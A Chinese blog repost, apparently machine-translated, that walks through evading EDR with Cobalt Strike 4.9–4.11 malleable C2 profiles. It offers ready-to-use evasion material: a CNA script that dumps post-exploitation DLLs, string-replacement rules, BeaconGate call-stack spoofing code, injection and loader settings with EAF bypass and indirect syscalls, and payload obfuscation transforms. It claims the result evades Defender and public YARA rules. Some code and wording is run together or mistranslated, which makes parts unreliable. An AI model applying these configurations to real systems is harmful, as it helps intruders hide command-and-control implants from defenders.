利用CobaltStrikeProfiles的功能进行EDR规避

admin 2025-12-22 04:12:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了如何利用CobaltStrikeProfiles的功能进行EDR规避,包括4.9版本的post-ex.cleanup选项、4.10版本的BeaconGate功能以及4.11版本的新型工艺注入技术和具有规避功能的sRDI。文章提供了具体的配置方法和代码示例,展示了如何通过修改字符串、配置数据存储、拦截API调用等技术手段绕过安全检测。最后还介绍了MagicMZ标头和DLL解析两个附加技巧,进一步增强CobaltStrike的规避能力。 综合评分: 85 文章分类: 红队,免杀,渗透测试,内网渗透,安全工具


cover_image

利用 Cobalt Strike Profiles 的功能进行EDR 规避

原创

zyxa

众亦信安

2025年12月16日 15:02 湖南

文章导读

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

众亦信安,中意你啊!

点不了吃亏,点不了上当,设置星标,方能无恙!

自 4.9 版本发布以来,Cobalt Strike 引入了许多重大更新,目的就是为了提高使用的灵活,以及规避还有自定义实施信标,此文章我门将深入探讨最新功能和增强功能,研究它们如何影响 tradecraft 并集成到现代对手模拟工作流程中我们将构建一个 OPSEC 安全的可延展性 C2 配置文件,其中包含最新的最佳实践和功能。本文中引用的所有代码和脚本都可以在我们的GitHub存储库中找到。

CS 4.9 – 开发后 DLL

Cobalt Strike 4.9 引入了一个新的可延展 C2 选项,即 post-ex.cleanup。此选项指定在加载 DLL 时是否清理爆炸后反射加载器内存。我们最初的尝试是在 Cobaltstrike JAR 文件中提取开发后 DLL:

图 1反编译的 Cobalt Strike 客户端 JAR

检查字符串时,未检测到任何内容,因为 DLL 已加密。在查看文档时,我们偶然发现了 POSTEX_RDLL_GENERATE 钩子。当信标的任务是执行漏洞利用后任务(例如键盘记录、截取屏幕截图、运行Mimikatz 等)时,就会发生此钩子。根据文档,原始 Post-ex DLL 二进制文件作为第二个参数传递。因此,我们创建了一个简单的脚本,将其值保存到磁盘中:

sub print_info {   println(formatDate("[HH:mm:ss]") . "\cE[UDRL-VS]\o " . $1);}print_info("Post Exploitation Loader loaded");set POSTEX_RDLL_GENERATE {    local('$dllName $postex$file_handle');        $dllName = $1;    $postex = $2;        # Leave only the DLL name without thefolder    $dllName = replace($dllName,"resources/", "");       print_info("Saving " .$dllName . " to disk...");    $file_handle = openf(">". $dllName);    writeb($file_handle, $postex);    closef($file_handle);        print_info("Done! Payload Size:" . strlen($postex));        return $postex;}

将 CNA 脚本加载到 Cobal Strike 客户端,并让信标执行漏洞利用后任务(本例中为屏幕截图):

图 2将原始开发后 DLL 导出到磁盘

将Beacon 任务分配给所有可能的后开发任务,将为我们提供所有 10 个后 DLL:

图 3磁盘中的开发后 DLL

提取 DLL 后,找到其中的所有字符串。我们提出了以下一组配置文件配置(为了便于阅读而缩短),以防止任何潜在的静态检测:

post-ex {  # cleanup the post-ex UDRL memory when the post-ex DLL is loaded     set cleanup “true”;

    transform-x64 {         strrepex “PortScanner” “Scanner module is complete” “”;         strrepex “PortScanner” “(ICMP) Target” “pmci trg=”;         strrepex “PortScanner” “is alive.” “is up.”;         strrepex “PortScanner” “(ARP) Target” “rpa trg=”;         #…         #…         #…     }

    transform-x86 {         # replace a string in the port scanner dll         strrepex “PortScanner” “Scanner module is complete” “Scan is complete”;

        # replace a string in all post exploitation dlls         strrep “is alive.” “is up.”;     } }

可以在此处找到包含所有找到的字符串的完整配置文件。

注意:强烈建议将纯文本字符串替换为对作员有意义的字符串,因为更改将在开发后作业期间或之后输出。例如,在下图中,我们修改了字符串,以便在端口扫描期间反向显示它们:

图 4在任务的 Post-Ex 作业期间/之后向作员显示修改后的字符串

Beacon 数据存储

Beacon 数据存储允许我们存储项目以多次执行,而无需重新发送项目。默认数据存储大小为 16 个条目,但可以通过在 Malleable C2 配置文件中配置

stage.data_store_size选项来修改此大小,以满足您的需求:

stage {    set data_store_size "32";}

WinHTTP 支持

即使有一个新的配置文件选项来设置默认 Internet 库,我们也不会在我们的配置文件中包含该选项。原因是这两个库都受到安全解决方案的严格监控,并且库之间的规避没有区别。重要的是,一个好的红队基础设施,它绕过了网络和内存检测。但是,如果您更喜欢使用特定库(在本例中),则可以将以下选项应用于用户档案:winhttp.dll

http-beacon {     set library "winhttp"; }

CS 4.10 –信标门

BeaconGate 是一项功能,指示 Beacon 通过自定义睡眠掩码拦截支持的 API 调用。这允许开发人员实施高级规避技术,而不必通过 UDRL 中的 IAT 挂钩来控制Beacon 的 API 调用,这种方法既复杂又难以执行。

建议您将配置文件配置为代理 Cobalt Strike 当前支持的所有 23 个函数(从 4.11 开始)。这可以通过设置新的 Malleable C2 选项来完成,如下所示:stage.beacon_gate

stage {    set sleep_mask      "true";    set syscall_method"indirect";    beacon_gate {        All;    }}

该配置文件还将允许使用 BeaconGate,我们稍后会开始使用它。这一点至关重要,否则更改将不会应用于导出的信标。

首先,我们需要使用 Fortra 存储库中的 Sleepmask-VS 项目。如果您更喜欢使用 Linux 环境进行开发,则可以改用 Artifact Kit 模板中的函数是处理这些 API 调用的位置。

下面的 demo 代码检查函数是否被调用。这使我们能够拦截执行流并添加规避机制:

BeaconGateWrapper/library/gate.cppVirtualAlloc

void BeaconGateWrapper(PSLEEPMASK_INFO info,PFUNCTION_CALL functionCall) {    // Is the function VirtualAlloc?    if (functionCall->function ==VIRTUALALLOC) {       // ...       // Do something fancy here       // ...    }    // Execxute original function pointer    BeaconGate(functionCall);    return;}

这同样适用于所有其他受支持的高级 API 函数。

在此示例中,我们将实现回调欺骗机制。由于本博客的目标是解释 BeaconGate 实现的工作原理,因此我们将使用 HulkOperator 的代码作为欺骗机制。

自定义 SetupConfig 函数需要一个指向 spoof 的函数指针。这可以通过利用该结构来实现。该字段包含指向要挂钩的WinAPI 函数的指针。要访问函数的名称,可以使用 ,对于参数的数量,请使用 。可以通过 检索各个参数值。functionCallfunctionPtrfunctionCall->functionfunctionCall->numOfArgsfunctionCall->args[i]

下面是一个概念验证,显示了最终代码的外观:

void BeaconGateWrapper(PSLEEPMASK_INFO info, PFUNCTION_CALLfunctionCall) {    STACK_CONFIG Config_1;    UINT64 pGadget;    pGadget = FindGadget();    if (functionCall->bMask == TRUE) {       MaskBeacon(&info->beacon_info);    }    // If the function has 1 argument(could be ExitThread for example)    if (functionCall->numOfArgs == 1){                SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0]);        Spoof(&Config_1);    }    // If the function has 2 arguments    if (functionCall->numOfArgs == 2){        SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0], functionCall->args[1]);        Spoof(&Config_1);    }    // ... Apply the same logic for theother functions    // If the function has 10 arguments    if (functionCall->numOfArgs == 10){        SetupConfig((PVOID)pGadget,&Config_1, functionCall->functionPtr, functionCall->numOfArgs,functionCall->args[0], functionCall->args[1], functionCall->args[2],functionCall->args[3], functionCall->args[4], functionCall->args[5],functionCall->args[6], functionCall->args[7], functionCall->args[8],functionCall->args[9]);        Spoof(&Config_1);    }        BeaconGate(functionCall);    if (functionCall->bMask == TRUE) {       UnMaskBeacon(&info->beacon_info);    }    return;}

下次导出 Beacon 时,将应用欺骗机制。最终的实现代码可以在这里找到。

CS 4.11 –新型工艺注射

Cobalt Strike 4.11引入了一种自定义工艺注入技术。这种注入技术通过使用各种小工具重定向执行,绕过了对注入线程的现代检测(其中线程的起始地址没有由磁盘上的可移植可执行映像支持)。ObfSetThreadContext

默认情况下,这个新选项会自动将注入的线程起始地址设置为(合法的)远程图像入口点,但可以额外配置自定义 module 和 offset,如下所示:

process-inject {  execute {      ObfSetThreadContext"ntdll!TpReleaseCleanupGroupMembers+0x450";      CreateThread"ntdll!RtlUserThreadStart";      NtQueueApcThread-s;      SetThreadContext;      CreateThread;      CreateRemoteThread;      RtlCreateUserThread;  }}

上述选项设置为默认进程注入技术。当默认注入技术失败时,下一个注入技术将作为备份。这在某些情况下会发生(即 x86 -> x64 注入、自注入等)。ObfSetThreadContext

CS 4.11 –具有规避功能的 sRDI

根据 Fortra 的说法,4.11 版将Beacon 的默认反射加载器移植到一个新的 prepend/sRDI样式加载器,并添加了几个新的规避功能。

sRDI 支持将 DLL 文件转换为与位置无关的 shellcode。它充当全面的 PE 加载器,处理正确的部分权限、TLS 回调和各种完整性检查。实质上,它是一个基于 shellcode 的 PE 加载程序,与压缩的 DLL 集成。

首先,引入了一个新的 EAF 旁路选项。2010 年 9 月,Microsoft发布了其增强的缓解体验工具包(EMET),其中包括一个名为导出地址表地址筛选器 (EAF) 的新缓解措施。如今,此选项已在Microsoft Defender上实施,并且可以在应用程序和浏览器控制->Exploit protection选项卡下启用,仅适用于特定程序:stage.set eaf_bypass

图 5为特定程序启用了 EAF

这对 Windows shellcode 有效,由于缺少 IAT(导入地址表),因此依赖于导出地址表 (EAT)。绕过技术仍然是闭源的,但是根据文档,PrependLoader 利用 Windows 系统 DLL 中的小工具在读取 Export 时绕过检查。

其次,支持间接 syscalls ),这是另一个很棒的规避功能,可以包含在配置文件中。stage.set rdll_use_syscalls

从我们的各种测试中,我们建议在配置文件中应用以下规则集:

stage {set rdll_loader "PrependLoader";set rdll_use_syscalls "true";set eaf_bypass "true";}

最后,支持自动将复杂的混淆例程应用于 Beacon 有效负载 ()。这可以保护信标免受常见签名检测。stage.transform-obfuscate {}

transform-obfuscate {        lznt1;      # LZNT1 compression        rc4 "128";  # RC4 encryption - Key length parameter:8-2048        xor "64";   # xor encryption - Key length parameter:8-2048        base64;     # encodes using base64 encoding    }

rdll_loader也可以设置为 ,但是使用 of 具有 implementation 的优点,使用 和 option 对前置加载程序的 Beacon DLL 有效负载执行混淆。StompLoaderPrependLoaderrdll_use_syscallseaf_bypassstage.transform-obfuscate

结合前面的所有阶段选项,我们得到以下阶段配置文件:

stage {    set sleep_mask      "true";    set syscall_method"indirect";    beacon_gate {        All;    }    set rdll_loader "PrependLoader";set rdll_use_syscalls "true";set eaf_bypass "true";    transform-obfuscate {        lznt1;      # LZNT1 compression        rc4 "128";  # RC4 encryption - Key length parameter:8-2048        xor "64";   # xor encryption - Key length parameter:8-2048        base64;     # encodes using base64 encoding    }}

信标字符串

自我们之前报道 Cobalt Strike 4.8 以来,最近的更新对信标进行了重大更改,包括对其字符串的修改。导出的 shellcode 现在排除了作员以前使用配置文件手动删除的任何字符串。由于此更改以及最近三个更新中的其他增强功能,Windows Defender 不再能够检测到具有应用配置文件的原始 shellcode:

图 6扫描输出显示未从 Windows Defender 检测到原始 Beacon shellcode

导出的 shellcode 不会被任何最常见的 YARA 规则检测到(考虑到它们自 2022 年以来就没有更新过):

图 7扫描输出显示任何公共 YARA 规则未检测到 shellcode 格式的原始信标

奖励 1:Magic MZ 标头

正如我们之前的博文中提到的,在绕过签名检测时,它们是非常重要的配置文件选项。他们负责更改 MZ PE 标头,这些标头不会被混淆,因为反射加载过程取决于它们。我们需要更改它的值,但是由于 OPSEC 的原因,我们不能简单地给它添加一些随机值。正如官方文档所建议的,可以通过提供一组 2(对于 x64)或 4(对于 x86)汇编指令来更改这些值。组装说明的条件是结果应为 no operation。magic_mz_x64magic_mz_x86

为了自动执行此过程,我们创建了一个简单的 Python 脚本,该脚本使用现成的配置文件格式自动执行编译 x86 和 /x64 NOP-alternative 指令的过程,并以现成的配置文件格式打印出 ASCII 值,如下所示:nasm

图 8生成神奇 MZ 标头的 Python 脚本,可用于 Cobalt Strike 配置文件

奖励 2:DLL 解析

如果您想使信标反射的 DLL 看起来像系统 DLL,这部分很重要。为了自动化此过程,我们开发了一个简单的python 脚本来解析给定的 DLL,以生成现成的 Cobalt Strike 配置文件,如下图所示:

图 9解析 DLL 值的 Python 脚本,可用于 Cobalt Strike 配置文件

往这里看

点点关注不迷路,不定时持续分享各种干货。可关注公众号回复”进群”,也可添加管理微信拉你入群。

项目交流,src/众测挖掘,重大节日保障,攻防均可联系海哥微信


查看原文:《利用 Cobalt Strike Profiles 的功能进行EDR 规避》

评论:0   参与:  3